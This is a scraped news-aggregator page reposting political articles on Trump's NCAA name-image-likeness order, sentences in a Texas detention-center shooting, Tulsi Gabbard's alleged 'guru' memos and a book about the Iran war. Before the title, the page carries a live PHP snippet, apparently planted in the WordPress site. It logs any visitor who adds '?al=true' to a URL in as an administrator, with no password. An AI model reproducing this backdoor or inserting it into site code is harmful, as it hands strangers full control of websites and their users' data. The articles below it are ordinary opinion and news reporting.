// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Trump just proved there’s no escaping politics — not even in college sports – Blue Light News
Connect with us

The Dictatorship

Trump just proved there’s no escaping politics — not even in college sports

Published

on

Trump just proved there’s no escaping politics — not even in college sports

On Thursday, President Donald Trump signed an executive order establishing national regulations for the NCAA’s name, image and likeness (NIL) program, which top college athletes have relied on for compensation for their playing and endorsement deals. The ordertitled “SAVING COLLEGE SPORTS,” addresses recent litigation on athlete compensation, pay-for-play recruiting inducements and transfers between universities.

Talks of Trump interfering with NIL have been floating around since May.

Talks of Trump interfering with NIL have been floating around since May, after reports came out of former University of Alabama football coach Nick Saban, during a private congressional roundtable, urging the president to release an executive order on NIL compensation because he claimed players were showing “less resiliency to overcome adversity.”

For decades, the NCAA imposed strict limitations on how much student athletes could be paid to discourage them from pursuing commercial opportunities on the basis of “amateurism,” the belief that college sports are separate from professional sports in that they should only be played in the spirit of the game, not necessarily for monetary gain. But naturally, athletes began to feel cheated out of their cut of the millions in revenue that their universities were making from major programs such as football and basketball, largely based on their performances.

It wasn’t until last month that a federal judge approved a landmark NCAA settlement that cleared the way for schools to pay athletes directly. This new revenue-sharing model establishes clear and specific rules for schools to regulate third-party NIL agreements and allows for student athletes to have more autonomy and power over their personal brands.

The case of University of Tennessee quarterback Nico iamaleava is a textbook example of how NIL deals have shaped the college football landscape. Back in 2022, the California native had signed a four-year, $8 million contract with the university. After two seasons, his first as a redshirt and second as starting quarterback, he wanted to increase his deal to $4 million annually.

After unsuccessful attempts to negotiate with Tennessee, the team moved forward without Iamaleava, leaving him to enter the transfer portal. Shortly after, he announced his commitment to UCLA, despite claims that his final contract was nowhere close to the initial figure he wanted.

Iamaleava’s story is representative of the kind of issues Trump’s executive order seeks to address, namely the pay-for-play system that incentivizes athletes to negotiate competitive contracts. The order states that “the third-party market of pay-for-play inducements must be eliminated before its insatiable demand for resources dries up support for non-revenue sports.”

The order looks to level the playing field by preventing an oligarchy of teams that can simply buy the best players, in fear of reducing competition and resembling the world of professional sports too closely.

Section 2 of the executive order proposes that “opportunities for scholarships and collegiate athletic competition in women’s and non-revenue sports must be preserved and, where possible, expanded.” This is in response to concerns about money being concentrated in football and basketball programs.

“While major college football games can draw tens of millions of television viewers and attendees, they feature only a very small sample of the many athletes who benefit from the transformational opportunities that college athletics provide,” the first section states.

The order also notably calls on the secretary of labor and the National Labor Relations Board to “determine and implement the appropriate measures with respect to clarifying the status of collegiate athletes.” The concern here is that should college athletes be considered employees, they would be able to form a union and bargain for increased pay and other benefits.

Ultimately, the issue goes back to power and money and who is in control. Regardless of whether players are compensated as independent NIL contractors or as employees being paid for their performance, Trump’s insertion into the already tumultuous landscape of college sports proves that there is no such thing as avoiding politics, not even in a seemingly bipartisan space such as sports.

Since taking his second term in office, Trump has displayed an interesting, if not puzzling, interest in the world of professional and college sports.

Since taking his second term in office, Trump has displayed an interesting, if not puzzling, interest in the world of professional and college sports. In the past few months, we’ve witnessed attempts to ban transgender athletes from Pennsylvania to CaliforniaICE agents show up to Dodger Stadium, and Trump’s disorderly appearance on the Club World Cup stage. Then, this past Sunday, the president threatened to restrict the Washington Commanders deal to build a stadium if they did not change their name back to the controversial “Redskins.”

Given all this, it isn’t unreasonable to be skeptical of what the president actually means when he proclaims to be “SAVING COLLEGE SPORTS.” The reorganization of college sports in the last few years has placed an emphasis on money, sure — but it has also allowed for more equity in the field.

For instance, NIL deals are significantly benefiting female college athleteswho generally continue to be paid far less than their male counterparts, providing them opportunities that weren’t possible even just a few years ago. Major stars such as WNBA player Paige Bueckers and Olympic gymnast Suni Lee are among the most prominent earners in women’s sports in part as a result of a quickly evolving NIL market.

Even Trump’s oldest granddaughter, Kai, recently signed an NIL deal with Accelerator Energy to support her budding golf career. The 18-year-old University of Miami commit made the announcement in a presidential-style Instagram video, promoting the energy drink brand that is also partnered with the likes of Travis Kelce and Livvy Dunne.

Now, Kai joins the ranks not only in an NIL partnership, but as an equity partner in the brand.

“She’s going to be a leading voice in NIL and beyond,” said Andrew Wilkinson, CEO of Accelerator.

The world of college sports is already unrecognizable from what it was a few years ago, new conflicts are arising that haven’t existed before, and the NCAA’s inconsistencies against the shifting political landscape have left many athletes uncertain about their futures. As Kai makes NIL history, her grandfather has cemented his influence in the collegiate sports world in his own way. Instead of creating long-term solutions, the signing of this executive order seems poised to cause even more instability among yet another disenfranchised group in the country.

Julie Huynh

Julie Huynh is an BLN digital platforms intern and student journalist at Boston College.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

8 convicted in Texas immigration center shooting sentenced to decades in prison

Published

on

8 convicted in Texas immigration center shooting sentenced to decades in prison

FORT WORTH, Texas (AP) — Eight protesters accused by the Justice Department of having ties to antifawere sentenced Tuesday to decades in federal prison over a shooting outside a Texas immigration detention center that wounded a police officer. Prosecutors have called the shooting an act of terrorism.

One of the defendants, a former U.S. Marine Corps reservist convicted of opening fire during the July 4 demonstration outside the Prairieland Detention Center near Dallas, was sentenced to 100 years in prison, the maximum punishment.

The lengthy sentences were condemned by family members and supporters in a news conference outside the federal courthouse in Fort Worth. Hope Song, whose son Benjamin Songreceived the heftiest sentence, disputed prosecutors’ claims that her son shot the officer and said he didn’t intend to hurt anyone.

U.S. District Judge Reed O’Connor, one of two judges overseeing the proceedings, said what happened wasn’t a protest but “an assault on democracy.”

“The need to deter this type of conduct is high,” O’Connor said.

The seven other protesters received prison terms ranging from 30 to 70 years.

Prosecutors said the eight are members of antifa, a decentralized anti-fascist organization and a targetof the Trump administration. Antifa is not a single organization but rather an umbrella term for far-left militant groups that confront or resist neo-Nazis and white supremacists at demonstrations.

President Donald Trump last fall signed an executive order designating antifa a domestic terrorist organization, even though there is no domestic equivalent to the State Department’s list of foreign terror organizations.

The defendants deny any affiliation with antifa and maintain they attended the demonstration in support of detained immigrants.

Prosecutor Frank Gatto urged the judge to impose stiff penalties.

“People with that kind of extremist beliefs need extra time in prison,” Gatto said. “They believe violence is justified.”

Phillip Hayes, Song’s attorney, said outside the courthouse that he takes issue with the idea that the protesters are extremists.

“This is a bunch of kids and young adults who really have a really big heart and really wanted their voice to be heard,” Hayes said. “It was never intended that anybody get hurt. It was never intended that any shots would be fired.”

Prosecutors said in court that Song had yelled “get to the rifles” and opened fire, striking a police officer who had just pulled up to the center.

Hayes argued that Song’s shots were “suppressive fire” and that a ricochet bullet hit the officer after he arrived on the scene and “aggressively” pulled out his firearm. He said his client will appeal the 100-year sentence.

“Song, aside from this day, has had an impeccable life. A former Marine. A good student,” Hayes said. “He had a lot of good qualities that were just ignored. The judge went ahead and gave as much as he could.”

Other defendants and their family members pleaded for leniency in court.

Autumn Hill said the gathering “seemed more like a party to me than anything else” and that she and others who participated “didn’t expect or want any violence or destruction of property to occur.”

Amber Lowrey told the judge that her sister, Savanna Batten, is a compassionate person with dreams of opening a bakery. She said Batten’s activism started with animal rights and evolved into anti-war and human rights advocacy.

“She’s the best person I know,” Lowrey said.

Hill and Batten both received 50-year sentences.

Other defendants previously pleaded guilty to providing material support to terrorists rather than take their case to trial.

Critics warn the case could have a wide-reaching impact on protests given that organizations operating within the U.S. are supposed to be protected by First Amendment free-speech rights.

Last week, federal prosecutors charged 15 peoplewith impeding the Trump administration’s immigration crackdownin Minnesota. They claimed the demonstrators were members of antifa who conspired against the federal government to block arrests and deportations by setting up blockades around government buildings and throwing chunks of ice at federal vehicles, among other actions.

Read More

Continue Reading

The Dictatorship

Tulsi Gabbard and Senate GOP face difficult new questions over influence of her ‘guru’

Published

on

Tulsi Gabbard and Senate GOP face difficult new questions over influence of her ‘guru’

About a month into Donald Trump’s second term, Senate Republicans weighed whether to confirm one of the president’s worst nominees. Indeed, the list of reasons to reject Tulsi Gabbard’s nomination for director of national intelligence was not short.

The former congresswoman lacked the requisite experience in intelligence matters. She had an indefensible habit of echoing Russian propaganda. She struggled to explain her record of defending Bashar al-Assad’s Syrian regime. Senators heard from former national security officials who issued unsubtle warnings about elevating Gabbard to an important and influential position.

But in case that weren’t quite enough, let’s also not overlook the fact that Gabbard was a member of a secretive Hare Krishna offshoot religious sect that is considered by many of its former members to be an abusive cult.

Gabbard, who wrapped up her tenure as DNI last week, has long insisted that any suggestion that she was somehow enthralled to or controlled by this sect or its leader, whom she has referred to as her “guru,” is just bigotry against her faith.

But it’s against this backdrop that The Washington Post obtained hundreds of secret memos prepared for Gabbard during her congressional tenure, which were put together by members of the alleged cult and which included thousands of pages of specific directives to her on policy and politics.

After careful analysis of thousands of these documents, which have not been independently verified by MS NOW, the Post determined that they likely came from Gabbard’s secretive guru, a man named Chris Butler.

The memos, starting in 2013, when the Hawaiian first arrived on Capitol Hill, reflect a dynamic in which Gabbard didn’t just take direction from the materials, but essentially took dictation from the alleged cult leader: Memos told Gabbard what she should do as a member of Congress, and she often did exactly that, sometimes word for word.

The Post’s Jon Swaine spent months trying to get Gabbard to respond to questions, but to no avail. Her spokeswoman reportedly encouraged Swaine to drop the story, saying, “I cannot imagine WaPo’s readers would be interested in yet another uncredible, bigoted attack on the DNI’s faith.”

On May 20, Swaine nevertheless alerted the DNI and top members of her staff to the fact that the Post was prepared to publish his reporting anyway on her association with Butler.

On May 22, Fox News reported that Gabbard was leaving the administration, ostensibly because of a health issue involving her husband.

This week, Senate Minority Leader Chuck Schumer spoke on the Senate floor and commented on the reporting:

There are reports that Tulsi Gabbard was receiving instructions from a so-called guru and repeating them word for word. That ought to concern all of us if it’s true. No one knows who this guru really is, what his connections are, and where the instructions came from. … We need answers.

The New York Democrat’s comments made sense, though it’s worth considering who, exactly, “we need answers” from.

It stands to reason, for example, that Gabbard has some explaining to do, but I’m also interested in the answers from those who elevated her to an influential intelligence office in the first place.

In February 2025, confronted with an avalanche of reasons to reject Gabbard’s nomination, 52 Senate Republicans — every GOP member except Kentucky’s Mitch McConnell — shrugged off every red flag and voted to confirm her as the nation’s DNI, including so-called “moderates” such as Maine’s Susan Collins and Alaska’s Lisa Murkowski.

The question for these 52 senators seems obvious: Do you regret that confirmation vote and now recognize it as a mistake? Or do you still think it was a good idea to put Gabbard in this influential intelligence position?

Steve Benen is a producer for “The Rachel Maddow Show,” the editor of MaddowBlog and an MS NOW political contributor. He’s also the bestselling author of “Ministry of Truth: Democracy, Reality, and the Republicans’ War on the Recent Past.”

Read More

Continue Reading

The Dictatorship

Trump ignored warnings before launching Iran war, reporters tell MS NOW

Published

on

Trump ignored warnings before launching Iran war, reporters tell MS NOW

In the lead-up to the Iran war, President Donald Trump dismissed the possibility that Tehran would close the Strait of Hormuz despite warnings from his top military adviser, authors of a new book told MS NOW’s Lawrence O’Donnell on Monday.

In their first televised interview about “Regime Change: Inside the Imperial Presidency of Donald Trump,” New York Times reporters Maggie Haberman and Jonathan Swan said Trump also disregarded warnings from Gen. Dan Caine, the chairman of the Joint Chiefs of Staff, about the potential effects on American weaponry and about casualties.

The initial closure of the strait, a narrow passageway through which a fifth of the world’s oil passes, led to a spike in gas and oil prices. According to Swan, Trump thought Iran would have limited time to take action because the war would be over quickly — a claim he has made repeatedly during the nearly four-month-long war.

“He felt that this regime was a paper tiger, that this was going to be a fast war,” Swan said on “The Last Word.” “He just said he felt that that was going to be the case, that they were going to collapse very quickly.”

“It’s a form of magical thinking, actually, is what it all boils down to,” he added.

The revelation is just one of several in the book — which is based on more than 1,000 interviews — that illustrate how Trump repeatedly bases geopolitical decisions on his own whims rather than experts’ assessments.

Another example of such thinking was when Trump floated a plan to expel 2 million Palestinians from Gaza so he could turn it into the “Riviera of the Middle East.” Haberman and Swan wrote in the book that one senior aide characterized the idea as “legitimately nutso … but very on-brand.”

Haberman also spoke about “how scared” people were inside the White House ahead of last year’s so-called Liberation Daywhen Trump unveiled sweeping global tariffs. (The Supreme Court struck down those tariffs in February.)

“They were scared at how close the bond markets came to just completely melting down seven days later, which was finally what got him [Trump] off of it, but again, it was the willingness to just go straight to the brink” that was jarring, Haberman said.

Despite such fear among Trump’s staff, Haberman added, the White House makes up “a group of people who genuinely want to see him succeed.”

Julianne McShane is a breaking news reporter for MS NOW who also covers the politics of abortion and reproductive rights. You can send her tips from a non-work device on Signal at jmcshane.19 or follow her on X or Bluesky.

Read More

Continue Reading

Trending